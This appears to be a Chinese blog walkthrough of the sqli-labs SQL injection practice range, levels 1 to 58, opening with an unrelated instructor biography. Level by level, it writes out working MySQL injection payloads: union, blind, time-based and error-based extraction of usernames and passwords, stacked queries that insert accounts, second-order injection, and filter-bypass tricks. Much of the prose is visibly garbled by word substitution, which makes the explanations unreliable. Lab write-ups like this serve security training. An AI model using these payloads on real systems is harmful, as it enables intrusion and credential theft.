CSA CCPTP模块6- SQL注入靶机sqli-labs
北京老李:PMI-ACP讲师中国“黄埔一期”TTT、EXIN DevOps Master(大师级)讲师(首批全国十名)、国内首批EXIN Product Owner讲师(首批全国十名)、EXIN授权EXIN Agile Scrum Master讲师、首批ITIL Expert讲师、首批CCSK、CBP、CCPTP、ACSE讲师、首批CDSP讲师、 Lean IT 认证讲师、PMP、Prince2专家级、EXIN云安全管理、EXIN 云服务管理、国内首批APMG 信息安全官(CISO)TTT、ISO27001 LA、ISO20000 LA等多项认证。先后在北京、上海、广州等地主导软件开发、系统集成、咨询服务等工作,主要研究方向云安全管理、敏捷与DevOps落地实施
假如刚开端打仗sql注入,那么sqli-labs这个靶场会很合适你,外面包括了良多的情景,以及咱们在sql注入的时间碰到的妨碍。本章将1-65关重点关卡停止具体讲授。代码基础上很全。假如靶场训练完了能够看我这篇SQL注入总结会更好控制。SQL注入十分具体总结_懵懂是福yyyy的博客-CSDN博客_sql注入数据包
mysql数据构造
在训练靶场前咱们须要懂得以下mysql数据库构造,mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,该数据库上面有两个表一个是tables跟columns。tables这个表的table_name字段上面是全部数据库存在的表名。table_schema字段下是全部表名对应的数据库名。columns这个表的colum_name字段下是全部数据库存在的字段名。columns_schema字段下是全部表名对应的数据库。懂得这些对咱们之后去查问数占有很年夜辅助。咱们后面构造讲授比拟具体前面就比拟简略了。
1.sqli-labs第一关
1.1断定能否存在sql注入
1.提醒你输入数字值的ID作为参数,咱们输入?id=1
2.经由过程数字值差别前往的内乱容也差别,以是咱们输入的内乱容是带入到数据库外面查问了。
3.接上去咱们断定sql语句能否是拼接,且是字符型仍是数字型。
4.能够依据成果指定是字符型且存在sql注入破绽。由于该页面存在回显,以是咱们能够应用结合查问。结合查问道理简略说一下,结合查问就是两个sql语句一同查问,两张表存在雷同的列数,且字段名是一样的。
2.2 结合注入
第一步:起首晓得表格有多少列,假如报错就是超越列数,假如表现畸形就是不超越列数。
?id=1'order by 3 --+
第二步:爆出表现位,就是看看表格外面那一列是在页面表现的。能够看到是第二列跟第三列外面的数据是表现在页面的。
?id=-1'union select 1,2,3--+
第三步:获取以后数据名跟版本号,这个就波及mysql数据库的一些函数,记得就行。经由过程成果晓得以后数据看是security,版本是5.7.26。
?id=-1'union select 1,database(),version()--+
第四步: 爆表,information_schema.tables表现该数据库下的tables表,点表现下一级。where前面是前提,group_concat()是将查问到成果衔接起来。假如不必group_concat查问到的只有user。该语句的意思是查问information_schema数据库下的tables内外面且table_schema字段内乱容是security的全部table_name的内乱容。也就是上面表格user跟passwd。
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
第五步:爆字段名,咱们经由过程sql语句查问晓得以后数据库有四个表,依据表名晓得可能用户的账户跟暗码是在users表中。接上去咱们就是失掉该表下的字段名以及内乱容。
该语句的意思是查问information_schema数据库下的columns内外面且table_users字段内乱容是users的全部column_name的内乱。留神table_name字段不是只存在于tables表,也是存在columns表中。表现全部字段对应的表名。
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
第六步:经由过程上述操纵能够失掉两个敏感字段就是username跟password,接上去咱们就要失掉该字段对应的内乱容。我本人加了一个id能够隔一下账户跟暗码。
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
2.sqli-labs第二关
跟第一关是一样停止断定,当咱们输入单引号或许双引号能够看到报错,且报错信息看不到数字,全部咱们能够猜想sql语句应当是数字型注入。那步调跟咱们第一关是差未几的,
"SELECT * FROM users WHERE id=$id LIMIT 0,1" "SELECT * FROM users WHERE id=1 ' LIMIT 0,1"犯错信息。 ?id=1 order by 3 ?id=-1 union select 1,2,3 ?id=-1 union select 1,database(),version() ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' ?id=-1 union select 1,2,group_concat(username ,id , password) from users
3.sqli-labs第三关
当咱们在输入?id=2'的时间看到页面报错信息。可揣摸sql语句是单引号字符型且有括号,以是咱们须要闭合单引号且也要斟酌括号。
经由过程上面代码构建就能够停止sql注入。前面全部代码以此为基本停止结构。
?id=2')--+ ?id=1') order by 3--+ ?id=-1') union select 1,2,3--+ ?id=-1') union select 1,database(),version()--+ ?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ ?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ ?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
4.sqli-labs第四关
依据页面报错信息得悉sql语句是双引号字符型且有括号,经由过程以下代码停止sql注入
?id=1") order by 3--+ ?id=-1") union select 1,2,3--+ ?id=-1") union select 1,database(),version()--+ ?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ ?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ ?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
5.sqli-labs第五关
第五关依据页面成果得悉是字符型然而跟后面四关仍是纷歧样是由于页面固然有货色。然而只有对恳求对错呈现纷歧样页面其他的就不了。这个时间咱们用结合注入就不用,由于结合注入是须要页面有回显位。假如数据 不表现只有对错页面表现咱们能够抉择布尔盲注。布尔盲注重要用到length(),ascii() ,substr()这三个函数,起首经由过程length()函数断定长度再经由过程别的两个断定详细字符是什么。布尔盲注向对结合注入来说须要破费大批时光。
?id=1'and length((select database()))>9--+ #年夜于号能够换成小于号或许即是号,重要是断定数据库的长度。lenfth()是获取以后数据库名的长度。假如数据库是haha那么length()就是4 ?id=1'and ascii(substr((select database()),1,1))=115--+ #substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的地位,c是截取的长度。布尔盲注咱们都是长度为1由于咱们要一个个断定字符。ascii()是将截取的字符转换成对应的ascii吗,如许咱们能够很好断定数字依据数字找到对应的字符。 ?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+ 断定全部表名字符长度。 ?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+ 逐个断定表名 ?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+ 断定全部字段名的长度 ?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+ 逐个断定字段名。 ?id=1' and length((select group_concat(username,password) from users))>109--+ 断定字段内乱容长度 ?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+ 逐个检测内乱容。
6.sqli-labs第六关
第六关跟第五关是差未几的,依据页面报错信息能够猜想id参数是双引号,只要将第五关的单引号换成双引号就能够了。
7.sqli-labs第七关
第七关当在输入id=1,页面表现you are in... 当咱们输入id=1'时表现报错,然而不报错信息,这跟咱们之前的关卡纷歧样,之前都有报错信息。当咱们输入id=1"时表现畸形以是咱们能够判断参数id时单引号字符串。由于单引号损坏了他原有语法构造。而后我输入id=1'--+时报错,这时间咱们能够输入id=1')--+发明仍然报错,之时我尝尝是不是双括号输入id=1'))--+,发明页面表现畸形。那么它的过关伎俩跟后面就一样了抉择布尔盲注就能够了。
8.sqli-labs第八关
第八关跟第五关一样就未几说了。只不外第八关不报错信息,然而有you are in..停止参照。id参数是一个单引号字符串。
9.sqli-labs第九关
第九关会发明咱们不论输入什么页面表现的货色都是一样的,这个时间布尔盲注就不合适咱们用,布尔盲注合适页面临于过错跟准确成果有差别反映。假如页面始终稳定这个时间咱们能够应用时光注入,时光注入跟布尔盲注两种不多年夜差异只不外时光盲注多了if函数跟sleep()函数。if(a,sleep(10),1)假如a成果是真的,那么履行sleep(10)页面耽误10秒,假如a的成果是假,履行1,页面不耽误。经由过程页面时光来断定出id参数是单引号字符串。
?id=1' and if(1=1,sleep(5),1)--+ 断定参数结构。 ?id=1'and if(length((select database()))>9,sleep(5),1)--+ 断定数据库名长度 ?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+ 逐个断定数据库字符 ?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+ 断定全部表名长度 ?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+ 逐个断定表名 ?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+ 断定全部字段名的长度 ?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+ 逐个断定字段名。 ?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+ 断定字段内乱容长度 ?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+ 逐个检测内乱容。
10.sqli-labs第十关
第十关跟第九关一样只要要将单引号换成双引号。
11.sqli-labs第十一关
从第十一关开端,能够发明页面就产生变更了,是账户登录页面。那么注入点就在输入框外面。前十关应用的是get恳求,参数都表现在url下面,而从十一关开端是post恳求,参数是在表单外面。咱们能够直接在输入框停止注入就行。而且参数不在是一个仍是两个。依据后面的意识咱们能够猜想sql语句。大略的情势应当是如许username=参数 and password=参数 ,只是不晓得是字符型仍是整数型。
当咱们输入1时呈现过错图片
当咱们输入1',呈现报错信息。依据报错信息能够揣摸该sql语句username='参数' and password='参数'
晓得sql语句咱们能够结构一个恒建立的sql语句,看的查问出什么。这里咱们应用--+解释就不可,须要换成#来解释, 这个就跟咱们第一关是一样了。应用结合注入就能够获取数据库信息。
1' or 1=1#
12.sqli-labs第十二关
当咱们输入1'跟1时间页面不反映
当咱们输入1"的时间页面呈现报错信息,就能够晓得sql语句是双引号且有括号。
那么咱们能够结构上面语句停止sql注入。
1" ) or 1=1 #断定能否存在sql注入。 1" ) union select 1,2#
13.sqli-labs第十三关
十三关跟十二关差未几,只要要将双引号换成单引号。
14.sqli-labs第十四关
十四关跟十一关差未几,只要要将单引号换成双引号。
15.sqli-labs第十五关
第十五关跟第十一关一样,只是不发生报错信息。这就是显明的布尔盲注。由于另有过错页面跟准确页面停止参考。
16.sqli-labs第十六关
第十六关跟十二关一样,须要布尔盲注。
17.sqli-labs第十七关
第十七关跟后面的关有很年夜纷歧样,依据页面展现是一个暗码重置页面,也就是说咱们曾经登录体系了,而后检查咱们源码,是依据咱们供给的账户名去数据库检查用户名跟暗码,假如账户名准确那么将暗码改成你输入的暗码。再履行这条sql语句之前会对输入的账户名停止检讨,对输入的特别字符本义。以是咱们可能应用的只有更新暗码的sql语句。sql语句之前都是查问,这里有一个update更新数据库外面信息。以是之前的结合注入跟布尔盲注以实时间盲注都不克不及用了。这里咱们会用到报错注入。用到三种mysql报错注入,上面都给各人具体写出步调,各人能够鉴戒。
这里先容的报错注入能够抉择extractvalue()报错注入,updatexml()报错注入跟group by()报错注入。上面简略说一下者三种报错注入的道理。
extractvalue报错注入
extractvalue(XML_document,XPath_string)
第一个参数:XML_document是String格局,为XML文档工具的称号,文中为Doc
第二个参数:XPath_string (Xpath格局的字符串) ,假如不懂得Xpath语法,能够在网上查找教程。
感化:从XML_document中提取合乎XPATH_string的值,当咱们XPath_string语法报错时间就会报错,上面的语法就是过错的。concat跟我后面说的的group_concat感化一样
上面已将该报错注入代码给到各人,在最后一步爆字段内乱容时间,会报错,起因是mysql数据不支撑查问跟更新是统一张表。以是咱们须要加一其中间表。这个关卡须要输入准确账号由于是暗码重置页面,以是爆出的是该账户的原始暗码。假如查问时不是users表就不会报错。
1' and (extractvalue(1,concat(0x5c,version(),0x5c)))# 爆版本 1' and (extractvalue(1,concat(0x5c,database(),0x5c)))# 爆数据库 1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))# 爆表名 1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))# 爆字段名 1' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='admin1') b) ,0x5c)))# 爆字段内乱容该格局针对mysql数据库。 1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))# 爆字段内乱容。
updatexml报错注入
UPDATEXML (XML_document, XPath_string, new_value)
第一个参数:XML_document是String格局,为XML文档工具的称号,文中为Doc
第二个参数:XPath_string (Xpath格局的字符串) ,假如不懂得Xpath语法,能够在网上查找教程。
第三个参数:new_value,String格局,调换查找到的合乎前提的数据
感化:转变文档中合乎前提的节点的值,转变XML_document中合乎XPATH_string的值
当咱们XPath_string语法报错时间就会报错,updatexml()报错注入跟extractvalue()报错注入基础差未几。
上面已将该报错注入代码给到各人,最后爆字段跟下面一样假如加一其中间表。
123' and (updatexml(1,concat(0x5c,version(),0x5c),1))# 爆版本 123' and (updatexml(1,concat(0x5c,database(),0x5c),1))# 爆数据库 123' and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))# 爆表名 123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))# 爆字段名 123' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin1') b),0x5c),1))# 爆暗码该格局针对mysql数据库。 爆其余表就能够,上面是爆emails表 123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='emails'),0x5c),1))# 1' and (updatexml (1,concat(0x5c,(select group_concat(id,email_id) from emails),0x5c),1))# 爆字段内乱容。
group by报错注入
group by 报错能够看这个文章,此文章博主写的很明白。这个报错注入比后面两个庞杂一点。
深刻懂得group by报错注入_m0_53065491的博客-CSDN博客
123' and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))# 爆数据库 123' and (select count(*) from information_schema.tables group by concat(version(),0x5c,floor(rand(0)*2)))# 爆数据库版本 1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand(0)*2)))# 经由过程修正limit前面数字一个一个爆表 1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)))# 爆出全部表 1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)*2)))# 爆出全部字段名 1' and (select count(*) from information_schema.columns group by concat(0x7e,(select group_concat(username,password) from users),0x7e,floor(rand(0)*2)))# 爆出全部字段名 1' and (select 1 from(select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='admin1'),0x7e,floor(rand(0)*2)))a)# 爆出该账户的暗码。
18.sqli-labs第十八关
这关咱们直接看到看到页面有一个ip,咱们 能够简略看一下源码,发明对输入的账户名跟暗码都有停止检讨,然而往下看会发明一个拔出的sql语句,当咱们输入争夺的账户名跟暗码咱们的User-Agent字段内乱容就会呈现在页面上。以是能够从这下面下工夫
当咱们在User-Agent前面加上单引号呈现如下报错,可见拔出语句是将ua字段内乱容跟ip地点以及账户名作为字符串停止拔出且表面有括号。还要留神该拔出语句须要三个参数,以是咱们在结构时间也须要有三个参数。由于#号前面都被解释了。
以是咱们能够结构如下数据,页面表现畸形。能够将其余参数换成sql语句停止报错注入
各人能够本人报错注入方法停止注入,updatexml跟extractvalue报错注入爆出来的数据长度是无限的。
1' ,2, (extractvalue(1,concat(0x5c,(select group_concat(password,username) from users),0x5c)))# 爆账户暗码。 1',2,updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1))# 爆账户暗码。
19.sqli-labs第十九关
十九关当咱们输入准确的账户暗码咱们的referer字段内乱容会表现在页面上。该拔出的sql语句有两个参数一个是referfer,另有ip地点。上面代码能够报错账户暗码。后面的各人本人结构了。
1',updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1))#
20.sqli-labs第二十关
第二十关当咱们输入准确页面时间cookie字段表现在页面上,停止抓包。停止注入
'and updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)#
21.sqli-labs第二十一关
第二十一关跟二十关很像,独一纷歧样就是cookie那里不是账户名而是一串字符。有点教训就晓得是base64编码,以是咱们能够将单引号停止编码jw==能够发明报错而且还得有括号。
将注入代码停止编码,能够看到爆出账户暗码。
')and updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)#
22.sqli-labs第二十二关
第二十二关跟第二十一关一样只不外cookie是双引号base64编码,不括号。
23.sqli-labs第二十三关
第二十三关从新回到get恳求,会发明输入单引号报错,然而解释符不论用。猜想解释符被过滤,看起源码果真被解释了,以是咱们能够用单引号闭合,发明胜利。之后能够应用结合注入。不外在断定列数时间不克不及应用order by 去断定须要用?id=-1' union select 1,2,3,4 or '1'='1经由过程不绝加数字断定最后依据页面表现是三列,且表现位是2号。
?id=1' or '1'='1 如许sql语句就酿成 id='1' or '1'='1' ?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1 ?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),3 or '1'='1 ?id=-1' union select 1,(select group_concat(password,username) from users),3 or '1'='1
24.sqli-labs第二十四关
第二十四关有一个登录页面跟注册页面还要一个修正暗码页面,该关卡应用得是二次注入,由于登录页面跟注册页面临于暗码跟账户名都应用mysql_real_escape_string函数对特别字符停止本义。这里咱们应用的是注册页面,由于固然存在函数对特别字符停止本义,但只是在挪用sql语句时间停止本义,当注册胜利后账户暗码存在到数据库的时间是不本义的,以底本数据存入数据库的。当咱们修正暗码的时间,对账户名是不停止过滤的。
起首咱们看到治理员账户,admin,暗码是1,然而平日情形下咱们是不晓得暗码的,只能猜想治理员账户的admin。咱们先注册一个账号名叫admin'#。
咱们先注册一个账号名叫admin'#。能够看到咱们胜利将有传染的数据写入数据库。单引号是为了跟之后暗码修的用户名的单引号停止闭合,#是为了解释前面的数据。
之后也用户名admin'#跟暗码是123456登录,进入修正暗码页面。原始暗码输入123456,新暗码我输入的是111111,能够看到暗码修正胜利。
当咱们数据库检查的时间发明修正的是治理员的暗码。而不是咱们的注册账户的暗码。
25.sqli-labs第二十五关
第二十五关依据提醒是将or跟and这两个调换成空,然而只调换一次。巨细写绕过不用。咱们能够采取双写绕过。本次关卡应用结合注入就能够了,information外面波及or能够写成infoorrmation。
?id=-2' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+
26.sqli-labs第二十六关
第二十六关将逻辑运算符,解释符以及空格给过滤了,咱们须要应用单引号停止闭合,双写绕过逻辑运算符或许应用&&跟||调换。空格绕过网上找了些材料,对绕过空格限度有年夜把的方法对空格,有较多的方式:%09 TAB键(程度)、%0a 新建一行、%0c 新的一页、%0d return功效、%0b TAB键(垂直)、%a0 空格,我在windows跟kali外面都用不了,可能是由于apache剖析不了。只能应用()绕过。报错注入空格应用比拟少以是咱们能够应用报错注入。
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0 爆表 ?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0 爆字段 ?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0 爆暗码账户
26-a.sqli-labs第二十六-a关
该关卡跟二十六关差未几,多了一个括号。不克不及应用报错注入,该页面不表现报错信息。须要应用结合注入跟盲注。
27.sqli-labs第二十七关
二十七关跟二十六差未几不外二十七关不过滤and跟or,过滤了select跟union,咱们能够巨细写绕过以及重写绕过。
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or'0 爆表 ?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),1))or'0 爆字段 ?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users))),1))or'0 爆暗码账户
27-a.sqli-labs第二十七-a关
该关是双引号且页面不表现报错信息。过滤规矩跟二十七关一样。以是咱们须要应用盲注跟结合注入。
?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand"1 ###?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(password,username)from%0Ausers%0Aand"1 ?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(password,id,username)from%0Ausers%0Awhere%0Aid=3%0Aand"1
28.sqli-labs第二十八关
该关卡过滤了解释符空格还过滤了union跟select。\s表现空格,+表现婚配一次或屡次,/i表现不辨别巨细写,以是团体表现婚配 union加一个或多个空格加select,此中union跟select不辨别巨细。以是咱们能够应用重写绕过写。
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1 ?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1 ?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(password,username)from%0Ausers%0Aand%0A('1
28-a.sqli-labs第二十八-A关
该关卡只过滤union+select。其余不过滤。
?id=0')uniunion selecton select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'--+
29.sqli-labs第二十九关
二十九关就是会对输入的参数停止校验能否为数字,然而在对参数值停止校验之前的提取时间只提取了第一个id值,假如咱们有两个id参数,第一个id参数畸形数字,第二个id参数停止sql注入。sql语句在接收雷同参数时间接收的是前面的参数值。
?id=1&id=-2%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+ 爆表 ?id=1&id=-2%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+ 爆字段 ?id=1&id=-2%27%20union%20select%201,group_concat(password,username),3%20from%20users--+ 爆暗码账户
30.sqli-labs第三十关
三十关跟二十九关差未几,将单引号换成双引号
?id=1&id=-2"%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+ 爆表 ?id=1&id=-2"%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+ 爆字段 ?id=1&id=-2"%20union%20select%201,group_concat(password,username),3%20from%20users--+
31.sqli-labs第三十一关
三十一关跟三十关差未几,多了一个括号
?id=1&id=-2")%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+ 爆表 ?id=1&id=-2")%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+ 爆字段 ?id=1&id=-2")%20union%20select%201,group_concat(password,username),3%20from%20users--+
32.sqli-labs第三十二关
第三十二关应用preg_replace函数将 斜杠,单引号跟双引号过滤了,假如输入id=1"会酿成id=1\",使得引号不起感化,然而能够留神到数据库应用了gbk编码。这里咱们能够采取宽字节注入。当某字符的巨细为一个字节时,称其字符为窄字节当某字符的巨细为两个字节时,称其字符为宽字节。全部英文默许占一个字节,汉字占两个字节。
?id=-1%df%27%20union%20select%201,database(),3%20--+ ?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+ 爆表 ?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+ 爆字段 ?id=-1%df%27%20union%20select%201,group_concat(password,username),3%20from%20users--+
33.sqli-labs第三十三关
第三十二关跟三十三关截然不同
34.sqli-labs第三十四关
三十四关是post提交,应用addslashes函数对账户跟暗码都停止本义,应用宽字节注入就行。
1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+ 爆字段名 1%df%27 union select 1,group_concat(password,username) from users--+ 爆暗码账户
35.sqli-labs第三十五关
应用addslashes函数对输入的内乱容停止本义,然而id参数不引号,重要影响在与后续爆字段时间须要用的表名加了引号,只要将表名换成十六进制编码就行,直接应用结合查问就能够了
?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+ 爆表 ?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+ 爆字段 ?id=-1%20union%20select%201,group_concat(password,username),3%20from%20users--+
36.sqli-labs第三十六关
应用mysql_real_escape_string函数对特别字符停止本义。id参数是单引号,跟后面三十二关一样
37.sqli-labs第三十七关
三十七关是post提交,应用mysql_real_escape_string函数对账户跟暗码都停止本义,应用宽字节注入就行。跟三十四关一样。
1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+ 爆字段名 1%df' union select 1,group_concat(password,username) from users--+ 爆暗码账户
38.sqli-labs第三十八关
三十八关实在就是单引号闭合,应用畸形单引号闭合就能够停止注入,不外这里能够有别的一种注入就是重叠注入,由于存在mysqli_multi_query函数,该函数支撑多条sql语句同时停止。
?id=1';insert into users(id,username,password) values ('38','less38','hello')--+ #向数据表拔出本人的账户暗码
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())b--+ 查问字段 ?id=-1' union select 1,2,(select group_concat(username,password) from users)b--+ 查问暗码账户
39.sqli-labs第三十九关
id参数是整数,畸形结合注入就行。
?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database() ?id=-1%20union%20select%201,group_concat(username,password),3%20from%20users
40.sqli-labs第四十关
四十关id参数是单引号加括号闭合,而后应用结合注入就能够了
?id=-1%27)%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+ ?id=-1%27)%20union%20select%201,group_concat(username,password),3%20from%20users%20--+
41.sqli-labs第四十一关
四十一关跟三十九关一样,id是整数。
42.sqli-labs第四十二关
四十二关是由于账户停止了本义处置暗码不做处置,数据库不应用gbk编码不克不及向下面一样应用宽字节注入,然而存在重叠注入函数,以是咱们能够在暗码那里应用重叠注入。向数据库外面拔出暗码账号,如许咱们再来应用其停止登录就很简略了。
login_user=1&login_password=1';insert into users(id,username,password) values ('39','less30','123456')--+&mysubmit=Login
43.sqli-labs第四十三关
四十三关跟四十二关差未几,就是暗码参数是单引号跟括号闭合的。
login_user=1&login_password=1'); insert into users(id,username,password) values ('44','less34','123456')--+&mysubmit=Login
44.sqli-labs第四十四关
四十四关跟四十二关一样
45.sqli-labs第四十五关
四十五关跟四十三关一样
46.sqli-labs第四十六关
应用新的参数sort,经由过程输入1,2,3表中呈现差别数据,该sql语句是order by,sql语句参数不引号且不克不及应用结合注入,有报错表现,以是咱们能够应用updatexml停止报错。
?sort=1%20and%20(updatexml(1,concat(0x5c,(select%20group_concat(password,username)%20from%20users),0x5c),1))
47.sqli-labs第四十七关
四十七关跟四十六差未几,多了一个单引号闭合,能够应用报错注入
48.sqli-labs第四十八关
四十八关跟四十六一样只不外不报错表现,以是应用延时注入。
49.sqli-labs第四十九关
四十九关跟四十七关一样,不外不报错表现,以是应用延时注入。
50.sqli-labs第五十关
五十关跟四十六关一样,能够应用updatexml停止报错注入,不外这个外面还能够应用重叠注入,由于应用了mysqli_multi_query函数,支撑多条sql语句履行。也能够延时注入。能够鉴戒三十八代码
51.sqli-labs第五十一关
该参数单引号闭合,能够报错注入,能够延时注入,能够重叠注入。
52.sqli-labs第五十二关
该参数是整数型,且不报错表现,只能重叠注入或许延时注入。
53.sqli-labs第五十三关
该参数是字符型,单引号闭合,不报错表现,能够应用重叠注入跟延时注入。
54.sqli-labs第五十四关
五十四关翻译页面的英文,得悉只有十次输入机遇,超越十次全部表名,列名,等等都市随机重置。id参数是单引号闭合就行。
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 爆表名
留神下面这个是我查到的表名,每团体纷歧样的表名,代码须要变动表名
?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where%20table_schema=database() and table_name='8fof1zun81'--+ 爆列名
字段名也是纷歧样的,咱们须要获取secret_31F4,以是每团体的列名也须要改。
?id=-1%27union%20select%201,group_concat(secret_31F4),3%20from%208fof1zun81--+ 获取key值
将获取的key值放到上面输入框点击提交,就实现全部步调。
55.sqli-labs第五十五关
五十五关是有14次机遇,id参数是加了括号的整数
?id=-1)%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+ 报表名 ?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='69jwmv27j9'--+ 爆列名 ?id=-1) union select 1,group_concat(secret_D1DW),3 from 69jwmv27j9--+ 获取key值
56.sqli-labs第五十六关
五十六关跟后面两关相似须要单引号跟括号。
?id=-1')%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+ 爆表名 ?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='9ze4qmv307'--+ 爆列名 ?id=-1') union select 1,group_concat(secret_CTVR),3 from 9ze4qmv307--+ 获取key值
57.sqli-labs第五十七关
五十七关就是双引号闭合
58.sqli-labs第五十八关
五十八关跟后面多少关纷歧样,由于该关卡的数据不是直接数据库外面获得,而是在一个数组外面掏出得。以是结合注入是不可得。然而有报错表现,以是能够应用报错注入。
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+ 爆表名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='8edjk8ipbk'),0x7e),1)--+ 爆列名
